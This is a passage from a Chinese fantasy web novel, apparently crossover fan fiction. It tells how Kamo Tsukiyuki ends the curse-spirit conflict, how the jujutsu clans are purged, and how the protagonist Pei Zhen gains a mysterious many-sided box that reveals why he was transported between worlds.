迎着众人如出一辙的好奇的目光,五条悟只是笑了笑,他极为神秘道:“这可是一件了不得的大事,参与进去的人都是各界的大人物,不重要的人连门扉都摸不到,你们老师我啊,就恰好是其中的一员。”他得意洋洋的样子。 “什么?”虎杖悠仁跳了起来:“老师你知道发生了什么?你知道咒灵是被谁驱逐的吗?” “我不能说。”五条悟却是如此回复道。 这边很快就陷入了五条悟带来的“混乱”中,一些老师们互相对望一眼,他们面上浮出了只有他们才能理解的笑。就像是一朝去尽沉珂,他们感到了一阵背负被卸下的轻松感。 而往后余生,他们也一直会活在这种轻松之中。 咒灵与人类之间的纠葛在此翻开了一面。命运滑入新的篇章,他们也将步入新的生活。 ===== “你从很早以前就预备了要做这件事吗?”五条悟在外面见到了那个人,他依旧还是从前的模样,只是身上换上了一件宽松的衣服,像是古代的一些咒术师,身边还跟随着他那个特殊的咒灵。 加茂月行此次出来,为的是一些后续的事宜。他的身旁没有加茂家的人,他们似乎也察觉到了什么,最近对待他的态度比起以往还要恭敬许多,真的就像是在对待一位无上的神灵,现在连看他一眼都像是亵渎,没人敢在他面前抬起头来。 这其实并不是一件难猜的事。因为那次签订协议中,苍出现在了那里,而他与苍之间的关系很多人都知道。他又不会因此让他离开他身边。 可随之而来的,也不止有敬畏。 这一次五条悟是特意寻他来的。他双手插着兜,面上神情复杂:“你做这件事,找了很多的人,但却连一个咒术界的人都没有,你也认为现在的咒术界是烂到无可救药了吗?” 关键是,为什么连他也瞒在鼓里啊,难道他认为他也是靠不住吗?五条悟心中气鼓鼓的。 第164章 划分两界的开创者——加茂月行 加茂月行抬起眼看他。这真是个神秘的男人, 与他身边的咒灵一起,浑身上下都充斥着不解的谜题。起先的时候,他说要用正面情绪去做一些事, 五条悟怎么也没想到,他做出来的会是这种的事。 他轻轻道:“那里面我自然也有想过你的能力,但直到最后, 意外都没有发生,就用不到你了。” 五条悟一听就高兴起来:“你的意思是说我是后手?”他跳了起来:“我就说嘛, 凭我天上天下第一的实力,怎么可能会用不上我?原来我是保险, 你选我真是做对了!就是可惜,直到最后我都没上场的机会……” “不过, ”忽然, 他面上的神情变得颇有意味起来, 他说:“现在出手也是不迟,在还没到这里时,我就闻到了, 那股拙劣的杀气。真是有意思, 居然有人现在还想要杀你, 他们真的知道自己在做什么吗?” 暗中的人见再也瞒不下去了, 就从黑暗处跳了出来。出人意料的是,他们第一时间要做的不是喊打喊杀, 而是冷冰冰地问:“加茂家主大人, 请问现在有关咒术界双界协议的设定,是由您立下的么?” 五条悟饶有兴致地打量着这些人, 见他们俱都是一副面无表情的样子,穿着统一的一色的衣服, 就算知道自己面对的是何种的人,也没有任何犹豫之情。像是一群剥离了感情的死士,五条悟撇了撇嘴,“啧”了一声。 加茂月行并没有否认,他瞧了他们一眼,说:“是,又怎样?” 那些死士低下了头,他们状似恭敬道:“还请大人随我们走一趟,去商谈一下有关咒术界未来的事宜。” 五条悟眨了眨眼。加茂月行则是轻挑了下嘴角,但很快,他就平息下来,淡淡道:“先是极度恭维,见我不应,就暗中跟随至此,想要以力胁迫。我想要问问你们身后的人,他们真的知道自己是在做什么吗?” “他们急了!急疯了!”五条悟却是大笑起来,他丝毫不顾及在场的人,像是吃了冰雪糕一般爽快:“那些人的地位都是依靠着咒术师之名而来,现在连咒灵都没有了,他们再不做些什么,就要彻底被扫到垃圾堆里去了!他们怎么能容忍如此,都疯狂了!” 死士果然毫不迟疑,在五条悟还在大笑的时候,他们眼一厉,就展开了领域,要冲杀而上。加茂月行眸色淡然,他眉目低垂,手中一团黑色的物质旋转着倏然扩散,无边的气势凝成了实质,也没有让苍动手,他轻启唇道:“天地,游鱼。” “嘎吱嘎吱,噶擦。”一阵奇怪的啃咬咀嚼的声音响起。过后,领域散开,那些死士们也完全消失不见,看到现场再回平静,五条悟倒吸了口凉气,他用他那双美丽的眸子意味深长地看他:“你……比之前更强了。” 加茂月行点点头。 五条悟叹息一声:“你准备怎么处理现在的咒术界?”连刺杀都搞出来了,说明某部分的人是完全丧失了心智。 正是因为不想牵扯进这样的事中,才立刻掌管了一个家族,并在之后未曾向他们透露过一丝。这后面的事也能料想出来,因为这世上从来不缺少走投无路之人,他将目光落在了五条悟身上。 “?”五条悟有些疑惑。 “既然都是一群腐烂的人,难道不应该让他们得到应有的惩处吗?”他问:“还是说,你想要看到他们再掀起一番动乱,又或是,将那些腐烂也带到你们的新世界中去?” 五条悟的脸色沉静了下来。他陷入了思考。 加茂月行轻声说:“我可没有闲情去处置那样一群人,可他们应该是没有那个思想境界,去放弃从我身上得到点什么的想法。你知道我的,为避免这些,我一贯的做法是——” 他无声启唇,口中吐出两个字。 “皆杀。” 五条悟心中一颤,他眼神复杂地看向他,最终道:“原来你是在这里等我。” 之前说过的那些话莫不也是为了现在?他不敢再想,很快,他就说道:“那些家伙们也确实该为他们的所作所为付出代价,这个世上从没有享尽了好处,不需要承担后果的人。” 他澄澈的眸中终是染上了别的东西,他下定了决心,又看向加茂月行,声音已经平淡了下来:“这件事我会去处理的。你放心,不会再有人来打扰你了。” 加茂月行露出了清浅的笑,他对着五条悟颔首。看他好像没有要继续说话的样子,就要转身离开……“这就是你选的路吗?”突然,这位五条家的神子出言留住了他。 加茂月行停下了脚步。 “还是说,这才是你的真面目。你之前之所以用言语来剖析我的作为,只是因为你还需要时间,你的术式也需要你来挑出我的间隙,但其实,按照你一贯的作风,对加茂家时的迅捷,对咒术界的严密,都说明了,你其实,并不是一个多么喜欢说话的人。”五条悟的感觉很敏锐,他察觉出了这些。 加茂月行并没有回头,倒是苍回头看了他一眼,面上根本瞧不出什么。 五条悟也不知该说些什么,他不知道这个人的心路历程,不知道他是如何由从前无名的自己变成现在这般的模样,也不知他是出自何种心情,去改变拯救这个咒术界,他不明白这个人,但他却也算是他的受益人。 他的心情复杂,眼中有着连自己也没发现的疑惑,他喃喃发问道:“人解决不了的事,神就可以吗?” 解决了咒灵存在的加茂月行,在某些人的眼中,他就是这一时代现出的神。他的力量、他的神秘、他的贡献,都让他成为了许多人心中至高无上的存在。虽然各国政府都已就那日的事做出了解释,但发生了的事就是发生了,那一天的奇异之光,还有堂然出现在媒体屏幕上的文字,都深深地印刻在了人们的心中。 五条悟没有说的是,现在各国各地都出现了很多人们自行建设的神庙。他们尊称祂为除恶鬼的神,给祂编写教义,设立教堂;在日本,政府几乎是默许了人们供奉新的神,为祂取神名,以牲畜祭之。很多人居然来到东京,说是要找到神的踪迹,要追寻祂的步伐,去履行祂的神旨。 他虽已还是人,但已经成为了神。 而这,却是与五条悟完全不同。他是在咒术界有着“神子”之名,但后来,谁也没办法从他身上看出“神”的风貌。人们忌惮他,为的还是他无匹的力量。 他们二人,一者走向人,一者走向神,其实是完全相反的背面。 可现实是,他一事无成,另一人却成功了,改变了整个咒术界。 加茂月行并没有回答他,他知道,这个问题困不住五条悟太久,他不需要他来宽慰。他继续往前行走,风从他的身边吹过,扬起他的发丝,带动他的衣衫。在其宽大的衣袖翻飞间,五条悟见到其中有一丝奇异的色彩闪现。 浮世如影,悲欢如歌,众生万态,其实大多为过客。他最初的本心为何,对这世间的人重要吗? 或许,于他而言,他从未在乎这世上人的想法。 他彻底离去了。 咒术界融入了普通人的世界中。那些咒术师们依旧还能使用力量,就像人们的负面情绪依旧能诞生出咒灵一样,这是这个世界存在的基石,是比加茂月行改变的那条还要更加深入的规则,或许在单一的世界中,这会是个隐忧,可在还有着王权者和超越者的世界中,他们也就像是异能者一般的存在了。很快,管理他们的特殊部门就成立了,这大概会是后面最清闲的一个部门,因为没有了敌人,咒术师们的能力只会是日渐退化。 御三家中发生了一些格外残酷的事,据说有人将他们过去一些做过的事翻了出来,使用强横无比的力量,将他们从上到下筛选了一遍,鲜血流尽了几日,御三家中人数都生生被砍了一多半,后来者谈到当日之事时,都会恐惧到完全说不出话来。 夜蛾正道在那天的谈话中嗅到的,就是五条悟身上的血腥味。只是他相信他,没有多说些什么。 咒灵与人世间其实并不是完全隔绝的。它们能看到人类,但就像人类触碰不到它们一般,它们也碰不到它。可是,便如加茂月行所说,因「缘」而断,也有可能因「缘」而续,或许某些特殊的节点,或是特殊的人,在日后传说褪去,咒术隐秘的未来,又能够窥见那个恐怖又可怕的另一个世界,这也说不定呢? 但那时,就与加茂月行无关了。 他在这一个世界中的故事也算是完结了。在一开始,想要用这个马甲,在咒术界中获得[黄金成就]的想法也达成了,虽然动用了很多势力,但裴真对这一结果是满意的。[黄金]便是这几个世界中本源级别的宝物,无论是“书”,还是“石板”,其实都是这一等级的,执掌了德累斯顿石板的裴真有这个发言权。 有了[无相之衣],他在这个世界中,已然能称得上是没有敌手了。而到了这个地步,无论是想要再进一步,还是想要解开最初之时的穿越之谜,他都只能将视线投往世界之外。 又或是,他身上携带的一样更神秘的事物。 第165章 他的来处 加茂月行完成了自己的使命后, 裴真就闲了下来。这次的清闲是真的悠闲,不需要去抽卡,又或是想办法组出新的马甲, 然后去体验新的人生。 他开始就像是一位真的侦探一般去接一些案子,面对着之前避开的命案也会接下,很快, 他的名声就逐渐散播开来,成为了新一代的名侦探。 “这位无色之王阁下先前还真是隐藏得好啊, 连被称作‘找猫的侦探’也不在意,这边从前也不是没找过, 可都没有怀疑到他的头上。”有带着兔子面具的人在暗中悄悄地说。 “这也是我等天野殿下先前的谋略罢了,怎么, 难道你们有什么不满?”羽贺茂带着人出现在他们身后, 他微笑着询问道, 身上的气势丝毫不弱。 黄金兔子们立刻就致了歉意,然后将黄金之王的意思传达了过来。 羽贺茂点了点头,带领着身后的人走入了侦探社中。 裴真正在思考最近接下的一桩案子, 他的身份在他去找到黄金之王的时候, 就没想过要继续隐瞒下去了。无色之王的身份对他来说已不是枷锁了, 石板最近的消停让所有王者坠剑的时间都可以往后拖延好长一段了, 为此赤之王的眷属们很是兴奋,并向他们表达了己方的友善之情。 “这是这次案件中死去社长的医疗记录。”他将一份文件递了过去。 裴真将之接下, 很快, 这次案件的主要脉络在他的心中已然成形。他看向了羽贺茂,这位从前暗世界中的线人, 现在无色之王的首席眷属,当然, 他最近忙的都是一些侦探助手的事——和处理几方势力之间的关系相比,一些个人的情感与利益间的纠纷,对他来说还真是小儿科了。 “黄金之王向我邀约?”裴真沉吟起来:“应该是一些过去和他商谈好的事宜。不需要担心,我之后去一趟就是了。” “有好几份电视台的邀请?”裴真又听到了羽贺茂后面汇报上来的话,他轻轻一笑:“不用理会他们。只是一些知道了王权者身份簇拥上来的人罢了,我侦探的名声才刚刚传扬,还没到上那种重量级节目的程度,都是有所求的人。” “成为侦探,也只是我选择的一条道路,就像赤之王开了一间酒吧,在王权者的身份外,我们都还有各自其他的爱好,如果可以,我希望这条路能尽量简洁干净一点,不要纠缠太多的东西。这样,我也算是体验到了另外的一种人生。”他如此吩咐道。 羽贺茂应承了下来。之后,他便会以这份准则去处理王身边的事宜,他知晓他的这位王的能力绝非如此,但,能让王快乐,就是臣子的本分。 愿你如鹤般自由,当你飞向高天上时,片片的翎羽,都闪耀着太阳的光。 天野鹤的身份清闲下来,他的其他的几个马甲也陷入了无有要事的轻松之中。望川涉最近改喝了红茶,在自身管家的陪同下,去视察了几处财团中的公司。有趣的是,在那里,他不仅遇到了来这里的本体,还见到了恰巧一起过来的工藤新一几人。 当电梯的门打开,年迈但身姿挺拔的管家将传说中坐拥万亿财产的虚弱的望川家掌舵人推出来的时候,望川涉看到了工藤新一脸上不可置信的神情。他略微歪了下头,咳嗽了几声,就引来了身旁人一致的紧张,工藤新一的眼神更难形容了,他就像是突然吃到了一样十分难吃的东西,无论怎样都咽不下去,只好卡在那里,难受的要死。 望川涉都快要笑出来了。他一点也不担心工藤新一将他的另一个身份暴露出去,先不说财团根本不是他的累赘,他真要翻脸,要担心的也要是其他的很多人才是。 本体默默地看着这一切,然后就将那个案子破了。 风祭野见也没有之前那么忙碌了,两面宿傩手指的遗失让这个国家的政府再也没想参与进咒术的事宜中,更不要说新的协定让“咒术”这一名词从大舞台上彻底消失,研究废弃了,相反,他们倒是对导致了这一切的人非常的感兴趣。 风祭野见翻了个白眼,然后顺便将调查其中内情的申请给打了下去。虽然是FBI,但CIA中也不是没有他的人手,美月小鸟和伊安森都是他带进来的孩子,现在也是组织中的高级探员,另外也还有不少他提拔起来的本土的人。 等到有了合适的继承人,就从这个位置上退休吧。三十多岁也是老了,该到了休息的时候了,他坐在办公桌后,抱着枸杞热茶,慢慢悠悠地想。 从联系中得知了风祭野见的想法,伊莎贝尔瘪了瘪嘴,她倒是近期最忙的一个,因为和英国的钟塔侍从有了约定,她不得不带着小岛菜菜子她们从原始丛林中走出来,英国也取消了对于她们的全球通缉令,最起码,在这一个国家中她们是自由的。 阿加莎·克里斯蒂女士对于她们特别赞赏,也是她与伊莎贝尔达成了协定。她十分欣赏伊莎贝尔在横滨城中导演的那一幕剧,对她的煽动力、和组织力格外看好。伊莎贝尔决绝地离开了过去的家族,并在之后不回一次头,这样的奇女子,哪怕没有异能力,也足以让许多人敬佩。异能力并不代表头脑,阿加莎十分迫切地需要她的智慧。 “卡尔斯克鲁纳计划?S.E组织?”伊莎贝尔拿起那一叠厚厚的文件,挑了挑眉。 “是的,”阿加莎优雅地坐在高背椅上,她微笑着说:“你应当与魔人费奥多尔有过接触吧,这两样都与他有关,那是个无比残忍狡猾的国际罪犯。横滨市当时的事引发了多方势力的参与,接下来也该轮到我们该登场的时候了,我希望,你能够带领我们,得到我们最终想要的东西。” 她看向伊莎贝尔。伊莎贝尔只是略微思索了下,就含笑合上了文件。她冲着阿加莎点了点头,温和道:“你做到了答应我的事,那我自然也会履行我当初的承诺,我会为你们带来你们想要的。” “很好。”阿加莎·克里斯蒂立时就道:“那就,预祝我们合作愉快?” “合作愉快!”伊莎贝尔同样笑着回复。 加茂月行带着苍游走在这个世间,伊莎贝尔与阿加莎之间的对话他也同一时间知晓了,他相信伊莎贝尔的智慧与手段,但若是她有什么需要,他也会第一时间过去给予帮助。不仅是因为她一样是马甲,也是因为,她当初欠下的这个约定,是为他欠下的。 咒灵依旧在世间存在着,可它们游荡在其中,却是连人类一丝一毫都触碰不到。加茂月行还看到了漏瑚和花御几个特级的咒灵,漏瑚陷入了长久的沉思,似是当时月行与他说的话给予了他什么启发,花御倒是没什么事,只是过久的清闲让他身上多开了几朵花,一时看上去又诡异又美丽的。 加茂月行没有惊动他们,就这样从他们的身边走了过去。 咒术师们有了新的生活。高专学校成为了一所普通的高中,接纳进去了许多的学生,夜蛾正道又一次成为了校长,还有几位老师也留了下来,因为他们去考了教师资格认定考试。虎杖悠仁体内的两面宿傩早已在那次[无相之衣]引发的变动中消失了,因为他既不是人类,也不是咒灵,而是介于两者之间的东西。 可那样,人间容不下他,咒灵之界也不欢迎他。他无处可去,便就此消失了。无人知晓他的下落,加茂月行也不关心。 人们给月行建起神庙,他不停留。 虔诚者追寻他的行踪,他也不停留。 直到后面,连加茂家的人都不知道他去往了哪里,他的行踪飘渺无迹,有人说在利根川的上游见过他,也有人说在另一个国家见过他,但都无法真实确定。他开始成为传说中的人物。 直到有一天,五条悟在终于忙完了咒术界的事情后,在一个初秋的时分,见到有一片落叶从树枝上飘荡着落下,他忽然又想起了那个人,似神似灵,他犹记得他说,“诅咒与赞美,予我来说,都是不必要之意。” 他就像真的神灵一样,从这人世间离开了。 苍有些时候会成为执掌[无相之衣]的人,人们对加茂月行的信仰,一部分正向的情绪落入到[无相之衣]中,成为它成长的细小资粮,一部分成为他这位咒灵之身的添补,那其中剩下的负面的欲念,促进了他对于自身司掌能力的提升,他是唯一一个在此时依旧能无限增长的咒灵。 若是能瞧见他如今的真身,必然能看到,他那飘飘的白衣,高居天穹,足以将许多地方彻底遮蔽。相比较于加茂月行,他倒是更有神灵的神圣与诡异之姿。 柳生明澈成了日本第一流的歌星,其他的马甲经常能在各个电视台中看到他的身影。他依旧在维持着自己之前的繁忙生活,只是经常,他也会想,本体现在已经到了这种程度,他真的还有必要去为他再挣取名声值么? 艾略特从异空间中来到了本体的身边。这是他在那年觉醒异能力之后,第一次回到了这个世间,他翠绿的长发披散下来,观望了一下周身,然后,他重新望向本体,温柔一笑:“你已经决定好了吗?” 裴真环视了一下侦探社中,在加茂月行之事后,他又度过了一段不短的时光,在这期间,他抛下了所有的负担,只做自己想做的事,将一些答应下来的事也完成后,他终是要去探寻自己之前的路了。 在他的视野中,那圆融的光液球散发出金灿灿的光。在他的成就一栏中,那金色的成就也一样在彰显着自己的存在感。 【我想将世界变成我想要的样子】[黄金成就] “如果因果编织成网,恩怨催生出新的恩怨,仇恨从远古的河流中流淌到如今,人类又该怎样从与咒灵刻骨的纠缠中,逃出来,呼出一口空气。还是说,这个世界注定了会驶入到无边的深渊中去,到那时,你中有我,我中有你,人与咒灵再不分彼此?” “神子也无法拯救这个本就破碎的世界,外来之人啊,你又该如何面对这个世界?” 你答曰:“我将建立新的秩序。” 不要和那些腐烂的人为伍,去借助昂扬的力量,去利用人们的恐惧,去用刀剑,劈开一条新的道路!哪怕是肮脏的烂泥堆中,你也能打破旧藩篱,创建一个新世界! 那一定是一个更美丽的世界! 艾略特拉住他的手,将一些讯息传达了过去。裴真冲他点点头,然后去到了金手指的空间中。 依旧是那个无声又幽迷的奇异空间,地面是如有水波一般湿润。裴真在向前走的时候,脚下发出有规律的浅浅的声音。 他看了一眼自己的成就栏,将这[黄金的成就点]狠狠往下一按。 但不止如此,远远不止如此,在天空上还没有星星落下的时候,他更是将所有的光液一次性地都抛了出来。有多少呢?之前还留下的2万多的数目后,那些日益进账的数值,加茂月行之后引起的大动荡,改变了一个世界基层中的规则,宣传到国外去的毫无顾忌的媒体,那些在网络上流传的东京的视频,还有,人们在为他建起的神庙中跪倒叩拜…… 数不清了,数不清了…… 这庞大无比的光液一下子被他全数使用了出来。 空间都好似卡顿了一下,前所未有的星星们如雨织一般要落下来,天空一片明亮,空间中犹如变成了白天,四周开始剧烈震动,像是承受不住如此的“重压”。 其中一颗尤为明亮,金色的星辰,如同陨石一般横压一切而来。 裴真的目中闪过翠色,有多彩的颜色在他的身上浮出,这一时刻,所有马甲的心念神好像都回到了他的身上,他看见了,他终于看到了—— 空间再也承受不住了,强烈的摇晃中,一丝细微的缝隙一闪而逝。裴真眨眼消失在原处。 星落如子,滚落一地。 裴真闪现在外界,出现在他眼前的是: 一个二十三面的盒子。 盒子的颜色是黯淡的深色,每一面上都刻着一个未知的符文,它正在不断地颤动着,许久后,才慢慢地平息了下来。 这便是他所拥有的金手指么?裴真犹豫了下,还是伸出了手,轻轻地触碰到了它。 一段信息流入到了他的脑海中。 那是四个世界互相汇聚到一起的景象,无数的乱流与图像在其中出现湮灭,他见到即将破碎的世界因为彼此而拥有了继续下去的可能,一本“书”在其上不停地叙写着什么,一块石板在其间隐没修补,生灵即将灭亡,生灵又将迎来新生。 而就是在这时,一只手从旁边拦住了某样东西,那是一道灰蒙蒙的影子,其中有着人形的模糊的轮廓。裴真意识到了什么,他的心提了起来。 “穿越者?”他听见一个好听的声音说,这声音的主人看向了“书”,“书”抖动了一下,掩住了其中的一页。 那声音轻笑了一下,他/她/祂也没管“书”,而是打量了一下他,然后道:“也好。你是因此而来,那就来帮我一下吧。” “这对你也是有好处的哦。”他/她/祂将一样东西塞进了他的灵魂里,仔细一看,正是这多面体的灰扑扑的盒子。他/她/祂再悄声在他的耳边说了一句话。 裴真精神一震,他明白了一切。他知道了,等攀到一定程度的时候,再想要往上变强,连世界都限制不了祂们时,祂们所需要的,就不再是单纯的能量,也不再是所谓的规则,祂们需要的是“信息”,是无穷无尽的未知的“信息”。那些在世界毁灭时、世界新生时,世界与世界融合时,它们互相摩擦,然后从摩擦中生出的,崭新的“信息”。 “我把它送给你,但你要回馈给我的,就是‘信息’。”那声音柔和地说。 再然后,就是他的坠落了。 但裴真也看到了,他看到了“信息”,不是旁的,而是那道灵魂来时的方向,那条长长的路,它其实是由“信息”组成的,只要他抓住它,他就能找到回去的路。他伸出了手—— 他看到了自己的故乡。 裴真心中一震,他回过神来。他已经什么都明了,他的穿越,他的金手指,他金手指所需的能量,那些又何尝不是这个世界中最多的“信息”。 他的眼神有些复杂,但还是伸手抓住了这个奇妙的盒子。 【奥秘之盒】 与世界共生的宝物,你投入越多,就越有可能从中开出不得了的东西。与世界绑定,可成长神器,拥有收集信息的功能。它现在的主人是你,与前一任的联系在刚才已断。 裴真似乎又听见了那道清脆的笑声。 这可真是……裴真的心情有些复杂。他看了下这个盒子,见到里面铺了一层的星星,其中最大的一颗是金色的。 裴真将手一伸,拉开了异空间的大门。 艾略特立时出现在了他的身前,他面露担忧地看向他。 裴真笑了起来,他对着自己的所有马甲说:“一切都解决了!” 不论是留在这里,还是回到过去的世界,都可由他的心意!魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&